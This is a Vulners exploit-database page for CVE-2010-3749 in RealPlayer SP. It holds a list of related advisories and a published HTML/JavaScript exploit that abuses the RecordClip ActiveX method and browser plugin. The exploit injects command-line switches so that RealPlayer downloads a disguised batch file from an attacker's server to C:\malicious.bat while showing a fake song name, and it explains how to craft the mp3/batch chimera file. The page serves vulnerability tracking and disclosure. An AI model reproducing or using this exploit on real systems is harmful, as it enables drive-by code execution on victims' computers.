Real Networks RealPlayer SP - 'RecordClip' Method Remote Code Execution
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | Real Networks RealPlayer SP < 1.1.5 Multiple Vulnerabilities | 27 Aug 201000:00 | – | nessus |
| RealPlayer for Windows < Build 12.0.0.879 Multiple Vulnerabilities | 27 Aug 201000:00 | – | nessus |
| RealPlayer Enterprise for Windows < Build 6.0.12.1823 Multiple Vulnerabilities | 19 Oct 201000:00 | – | nessus |
 | RealNetworks RealPlayer RecordClip Parameter Injection Code Execution (CVE-2010-3749) | 27 Feb 201100:00 | – | checkpoint_advisories |
 | CVE-2010-3749 | 18 Oct 201022:00 | – | cve |
 | CVE-2010-3749 | 18 Oct 201022:00 | – | cvelist |
 | DSquare Exploit Pack: D2SEC_RECORDCLIP | 19 Oct 201000:00 | – | d2 |
 | EUVD-2010-3728 | 7 Oct 202500:30 | – | euvd |
 | CVE-2010-3749 | 19 Oct 201000:00 | – | nvd |
 | RealNetworks RealPlayer Multiple Vulnerabilities (Dec 2010) - Windows | 29 Dec 201000:00 | – | openvas |
10
Sources: https://www.securityfocus.com/bid/44443/info
http://packetstormsecurity.org/files/view/97522/recordingmanager-ie.txt
<html>
<p>
Written by Sean de Regge (seanderegge hotmail.com)
Exploit for the parameter injection bug in Realplayers RecordClip() activeX function and firefox plugin
http://www.zerodayinitiative.com/advisories/ZDI-10-211/
C:\Program Files\Real\RealPlayer\RecordingManager.exe has 2 interesting switches:
/t will spoof the download of any file so you can make it look like it's downloading a normal mp3 file
/f will make it download to any location on the disk instead of the realplayer downloads folder
Restrictions:
The extension on server side must be a valid media file (ie: .mp3)
Realplayer does some checks on the file to see if it is a valid media file too, so we need to create a
chimera file, which will parse as a valid mp3 file and a valid batch file.
Best is to take a valid mp3 file and modify it in a hex editor to have your batch commands in the first couple of bytes.
</p>
<OBJECT ID="obj" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5">
</OBJECT>
<embed type="audio/x-pn-realaudio-plugin"
controls="ImageWindow"
console="video1"
src='http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3'
width="240"
height="180"
autostart=true>
</embed>
<script>
var file = 'http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3';
obj.RecordClip(file, "audio/mpeg3", "clipInfo");
</script>
</html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Jan 2011 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 29.3
EPSS0.26086